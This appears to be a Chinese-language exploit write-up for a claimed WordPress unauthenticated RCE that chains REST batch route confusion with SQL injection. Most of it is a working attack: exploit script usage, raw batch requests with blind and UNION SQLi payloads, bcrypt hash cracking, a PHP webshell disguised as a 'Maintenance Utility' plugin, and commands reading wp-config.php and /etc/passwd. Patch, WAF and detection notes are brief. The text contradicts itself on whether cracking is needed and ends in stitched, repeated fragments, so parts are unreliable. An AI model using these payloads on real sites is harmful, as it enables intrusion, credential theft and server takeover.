CVE-2026-60137 + CVE-2026-63030 — WordPress 未认证远程代码执行（RCE）

漏洞类型： REST 批处理路由混淆 + WP_Query SQL 注入 → 完整 RCE

CVSS v3.1： 10.0 / 10.0 — 严重 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

受影响版本： WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | 已修复版本： 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

---

## 快速开始

### 1. 搭建漏洞靶场

**要求：** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. 运行漏洞利用```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

### 3. 预期输出```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _

本仓库中的文件

详细漏洞分析

CVE-2026-60137（与 CVE-2026-63030 链式利用）

漏洞类型： 未认证远程代码执行 — REST 批量路由混淆 + WP_Query SQL 注入

CVSS v3.1： 10.0 / 10.0 — 严重

攻击向量： AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

1. 概述

CVE-2026-60137 是 WordPress 核心中的一个未认证 RCE 漏洞。它将两个独立缺陷组合成一个完整的攻击链，可从零权限实现完全控制服务器：

CVE	缺陷	在攻击链中的作用
CVE-2026-63030	REST 批量路由混淆	绕过认证
CVE-2026-60137	`author__not_in` SQL 注入	任意数据库读写

受影响版本：

完整 RCE：WordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1
仅 SQLi（需要配套插件）：6.8.0 – 6.8.5
已修复：6.9.5、7.0.2、7.1-beta2+

利用条件：

REST API 对外开放（WordPress 默认）
无持久化对象缓存（默认为无）
至少有 1 篇已发布的文章（默认存在 "Hello World"）
完全无需任何账号或会话

→ 绝大多数 WordPress 安装默认即存在漏洞。

2. 术语

REST 批量端点（`/wp-json/batch/v1`）

允许在单个 HTTP 请求中发送多个 REST API 请求：```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

每个子请求都与各自的处理器匹配，并且每个处理器都有自己的 **权限回调**。

### WP_Query — `author__not_in`

核心数据库查询类。`author__not_in` 参数接受一个整数数组，生成如下 SQL 子句：```sql
AND post_author NOT IN (5, 12, 23)

每个元素都会经过 absint() 处理 → 仅保留整数部分。

`wp_parse_url()`

parse_url() 的包装器。当接收到无效的 URL 时 → 返回 WP_Error。```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

## 3. 根本原因 — Bug A：批量路由混淆（CVE-2026-63030）

**文件：** `wp-includes/rest-api/class-wp-rest-server.php`

### 易受攻击的源代码：```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

机制：```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

### 为什么 `"///"` 会触发这个 bug？

当 PHP 的 `parse_url()` 遇到 `"///"` 时，它会尝试根据 **RFC 3986** — URL 结构 — 对其进行解析：```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

当接收 "///" 时，它会将其解释为：``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

PHP 返回结果：```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress 将此包装在 wp_parse_url() 中 → 检测到无有效协议、无有效主机、无有意义的路径 → 返回 WP_Error。

wp_parse_url("///") 返回 WP_Error（URL 格式错误）。此错误导致请求在构建 $matches 的循环中被跳过，但在分发循环中并未被跳过 → 数组变得不同步。

4. 根本原因 — Bug B：SQL 注入（CVE-2026-60137）

文件： wp-includes/class-wp-query.php

易受攻击的源代码：```php

class WP_Query { public function get_posts() { global $wpdb;

    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

### 正常（安全）路径：```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

REST 控制器（class-wp-rest-posts-controller.php）：```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

### 路由混淆路径（易受攻击）：```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

当批量失同步发生时，请求参数不会经过 REST 控制器 → 原始字符串直接进入 WP_Query → wp_parse_id_list() 存在边界情况绕过 → SQL 注入。

Payload:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

生成的SQL：```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. 为什么要将两个漏洞链式利用？

场景	结果
仅利用 Bug A（路由混淆）	绕过权限 → 但无处注入
仅利用 Bug B（SQLi）	REST 控制器总是强制转换输入 → 无法注入
Bug A + Bug B	混淆绕过控制器 → 原始字符串进入 SQL → RCE

单独来看，这两个漏洞都是无害的。只有链式利用时：

Bug A：移除了清理层（REST 控制器）
Bug B：由于清理被绕过，从而注入 SQL

6. 攻击链分析

阶段 1：路由混淆```

POST /wp-json/batch/v1 Content-Type: application/json

{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }

→ Response[0]: `parse_path_failed`（已触发初始载荷）

→ Response[1]: `rest_invalid_handler`（已确认处理程序失步）

### **阶段 2：SQL 注入 — 提取数据**

**布尔盲注：**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

比较 TRUE 与 FALSE 响应 → 二分搜索每个字符。

UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

在 JSON 响应中返回的包含凭据的虚假帖子行。

→ 结果：成功从 `wp_users` 中提取 `user_login` 和 `user_pass`（bcrypt 哈希）。

### **阶段 3：破解哈希 → 管理员登录**

从阶段 2 获得的哈希是 bcrypt 格式（`$wp$2y$10$...`）。去掉 `$wp$` 前缀 → 使用 john/hashcat + 字典破解 → 获取明文密码 → 在 `/wp-login.php` 登录。

**注意：** 注入点位于 `SELECT` 的 `WHERE` 子句中。MySQL 禁用了多语句 → UNION 是只读的，不可写 → 无法通过 SQLi 直接 INSERT 新管理员。必须破解哈希才能获得有效会话。

### 阶段 4：Webshell 上传```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

阶段 5：RCE```

GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)

## **7. 漏洞利用**

利用 CVE-2026-60137 仅通过 HTTP 请求即可从**零访问权限**——无需账户、无需密码、无需会话——达到**对服务器的完全控制**。

**要求：** 目标运行的是 WordPress 6.9.0–6.9.4 或 7.0.0–7.0.1，且 REST API 对外开放（默认启用）。无需登录或知晓任何凭据。

**漏洞利用链由 5 个阶段组成：**```
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 阶段 1：确认路由混淆

目标： 确认目标存在漏洞——当发送初始路径 "///" 时，处理程序数组失去同步。

原理： 批处理端点允许在 1 个 HTTP 调用中发送多个 REST 请求。当 wp_parse_url("///") 失败时，WordPress 在构建 $matches 数组时会跳过该请求，但在分发时不会跳过 → 处理程序发生偏移 → 后续请求使用错误的权限回调执行 → 绕过身份验证。

发送请求：``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

The provided input chunk is empty, so there is no content to translate.```
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

如何阅读：

images/image.png

响应	代码

我们观察到 rest_invalid_handler 意味着： "WordPress 意识到 handler 与请求不匹配"

→ 这意味着 $matches 数组已经失步，primer "///" 已生效，这种失步可被利用，使请求以另一个路由（一个不需要认证的路由）的权限回调来运行 → 认证绕过成为可能

看到 rest_invalid_handler → Bug A 已确认。

7.2 阶段 2：确认 SQL 注入

步骤 1 — TRUE 与 FALSE

TRUE (OR 1=1)：

images/image.png ``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

**FALSE (AND 1=2):**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/95c08d2e43f06122b224fab9d17c713097a2f740f972da5b9d6d68e10ca4effa.png)```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

X-WP-Total 中的差异 → 确认存在 SQLi。

第 2 步 — 提取管理员用户名（盲布尔）

第 1 个字符：

images/image.png ``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

`CHAR(97)` = `'a'`。X-WP-Total=8（TRUE）→ 因此第一个字符是 `'a'`

通过依次枚举，我们得到：`user_login` = **"admin"**

#### **步骤 3 — 提取密码哈希**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

使用二分搜索来确定 user_pass 中每个字符的 ASCII 码：``` Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE) Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)

两个相反的响应确认第一个字符的 ASCII 落在范围 **(30, 40]** 内。继续缩小范围：```
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

继续对每个位置进行二分搜索 → 获得哈希前缀字符串 $wp$ ：

继续使用盲注 SQL 逐字符提取：

→ 完整哈希：$wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 阶段 3：登录管理员

阶段 2 之后，我们得到：

user_login = admin
user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

破解哈希

WordPress 哈希使用 bcrypt 格式（$2y$10$），成本因子为 10。在破解之前，我们需要去掉 $wp$ 前缀，因为 hashcat/john 只接受纯 bcrypt：```

Save the pure bcrypt part (remove $wp$ prefix)

echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt

Crack using john

john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

**结果:**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/29e2f2018d63e7bdb2c8a633cb151d0aeab28801b47c7ec270be116ec2030f89.png)

密码 **`admin123`** 在字典中 → john 立即成功破解。

→ 成功使用 `admin:admin123` 登录 `/wp-login.php`。

### **7.4 阶段 4: 上传 Webshell**

此时，我们已经拥有一个有效的管理员会话。下一个目标是 **在服务器上植入后门**，以不依赖凭据的方式维持访问权限。

WordPress 允许管理员以 ZIP 格式上传插件 — 这是一个合法功能，我们将滥用它。

#### **创建 webshell**

首先，我们需要一个能够执行系统命令的 PHP 文件。该文件将被打包成一个伪插件，以供 WordPress 接受：```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

secret123 令牌充当密码——防止他人意外触发 shell。```bash mkdir shell && mv shell.php shell/ zip -r shell.zip shell/

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/bf2671815ada8d413fdb42cdd06b8b42c7a549846557a6e3ff541147010bf104.png)

已成功创建。

#### **上传到 WordPress**

成功创建 `shell.zip` 后，将 zip 文件上传到插件部分以触发它。

WordPress 会解压并将文件放置于：```
/var/www/html/wp-content/plugins/shell/shell.php

该插件会以名称 “Maintenance Utility” 出现在列表中，状态为 Active → 现在即可通过 HTTP 触发该 WebShell。

images/image.png

UPLOAD 和 ACTIVE 均已成功。

7.5 阶段 5：RCE

至此，Shell 已位于服务器上。调用它以执行 Shell。

确认 RCE：``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/eb3f921660da2c214487a9ccb062f173bee25b881e7ff7c95be685fbb061bf2a.png)```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

以 www-data 用户身份运行 — 即 Web 服务器的用户。接下来，升级影响：

读取 WordPress 配置文件：```

GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/3db8d0921065eb40ee3e8d305fbc365c924f7d8950921b034d521037c676a9bf.png)

 — 通过 webshell 执行命令读取 `wp-config.php` 文件 — 暴露所有 WordPress 密钥（`AUTH_KEY`、`SECURE_AUTH_KEY`、`LOGGED_IN_KEY`、`NONCE_KEY`、...）和数据库凭据。这是 WordPress 安装中最敏感的信息。

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/ea90ae9a1698312588a1dd97c804f1612a8bb09889eb12aafcb3ed1e68295826.png)

*—* 响应返回 `wp-config.php` 的内容，包括 `DB_NAME`、`DB_USER`、`DB_PASSWORD`、`DB_HOST` — 足以直接访问数据库服务器，而无需经过 WordPress。

#### **读取所有系统用户：**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ 确认已获得操作系统级访问权限，不再局限于 WordPress 范围内。

至此，漏洞利用链已完成：``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data

### **7.6 摘要**

| **#** | **阶段** | **方法** | **路径** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | 提取用户名 | POST | `/?rest_route=/batch/v1` |
| 4 | 提取哈希 | POST | `/?rest_route=/batch/v1` |
| 5 | 管理员登录 | POST | `/wp-login.php` |
| 6 | 获取 nonce | GET | `/wp-admin/plugin-install.php` |
| 7 | 上传 Shell | POST | `/wp-admin/update.php` |
| 8 | 激活 | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |

**9 个请求。零初始凭据。从登录页面 → 完全控制服务器。**

## 8. CVSS 分解

| 指标 | 值 | 原因 |
| --- | --- | --- |
| 攻击向量 | 网络 | 通过 HTTP 远程利用 |
| 攻击复杂度 | 低 | 确定性，无需时序/竞争条件 |
| 所需权限 | 无 | 完全未认证 |
| 用户交互 | 无 | 无需受害者操作 |
| 影响范围 | 已改变 | WP → 操作系统层面（www-data） |
| 机密性 | 高 | 完整读取数据库 |
| 完整性 | 高 | 任意数据库写入、文件上传 |
| 可用性 | 高 | 删除表、勒索软件 |

## 9. 影响

### 技术层面

| 层级 | 影响 |
| --- | --- |
| 数据库 | 对所有内容的读写权限：wp_users、wp_options、wp_posts |
| 应用程序 | 创建管理员、修改内容、安装后门 |
| 服务器 | 以 www-data 身份 RCE，读取 wp-config.php、/etc/passwd |
| 网络 | 通过数据库凭据横向移动至内部服务 |

### 业务层面

| 场景 | 后果 |
| --- | --- |
| 电子商务 | 泄露 PII、窃取支付密钥、注入盗刷脚本 |
| 企业 | 网页篡改、SEO 垃圾信息、恶意软件分发 |
| 多站点 | 1 次利用 → 危及整个网络 |
| SaaS（WP 营销） | 提取环境变量 → 横向移动至生产环境 |

### 面临风险的数据

- `wp_users`：用户名、电子邮件、密码哈希
- `wp_usermeta`：PII（姓名、电话、地址）、session_tokens
- `wp_options`：数据库凭据、SMTP 凭据、支付 API 密钥、WordPress salts
- `wp-config.php`：数据库主机/用户/密码、密钥
- `/proc/self/environ`：环境变量

## 10. 防御与修复

### 10.1 补丁（彻底）

| 当前版本 | 需升级至 |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |

### 10.2 代码修复

**Bug A —— 路由混淆：**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

Bug B — SQL 注入：```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);

### 10.3 临时缓解措施

**1. 禁用批处理端点（最有效）：**```php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. 启用 Redis/Memcached：```bash wp plugin install redis-cache --activate wp redis enable

→ UNION 注入不回显（缓存返回陈旧数据）。

**3. WAF 规则:**```nginx
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 检测

日志模式：``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access

**IOC 检查：**```bash
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?

`README.md`	完整的漏洞分析与利用报告
`exploit.py`	自动化利用脚本（零权限 → 一条命令实现 RCE）
`docker-compose.yml`	易受攻击的 WordPress 实验环境
`chain-rce.md`	自动化 RCE 链文档
`images/`	手动利用过程的截图

`[0]`	`parse_path_failed`	Primer 有效 — `wp_parse_url("///")` 失败
`[1]`	`rest_invalid_handler`	DESYNC! 请求被错误的 handler 接收 → 认证绕过

1	36	`$`	哈希前缀
2	119	`w`
3	112	`p`
4	36	`$`	→ $wp$ = bcrypt 变体
5-20	...	`2y$10$aJgATdlhfI`	成本因子 + 盐值

CVE-2026-60137_CVE-2026-63030

最受欢迎

CVE-2026-60137 + CVE-2026-63030 — WordPress 未认证远程代码执行（RCE）

2. 运行漏洞利用```bash

Full auto chain — interactive shell

Or run a single command

Check-only mode (no exploitation)

本仓库中的文件

详细漏洞分析

CVE-2026-60137（与 CVE-2026-63030 链式利用）

1. 概述

2. 术语

REST 批量端点（/wp-json/batch/v1）

wp_parse_url()

机制：```

4. 根本原因 — Bug B：SQL 注入（CVE-2026-60137）

易受攻击的源代码：```php

Payload:```

5. 为什么要将两个漏洞链式利用？

6. 攻击链分析

阶段 1：路由混淆```

阶段 5：RCE```

7.1 阶段 1：确认路由混淆

7.2 阶段 2：确认 SQL 注入

步骤 1 — TRUE 与 FALSE

第 2 步 — 提取管理员用户名（盲布尔）

7.3 阶段 3：登录管理员

Save the pure bcrypt part (remove $wp$ prefix)

Crack using john

7.5 阶段 5：RCE

读取 WordPress 配置文件：```

10.4 检测

REST 批量端点（`/wp-json/batch/v1`）

`wp_parse_url()`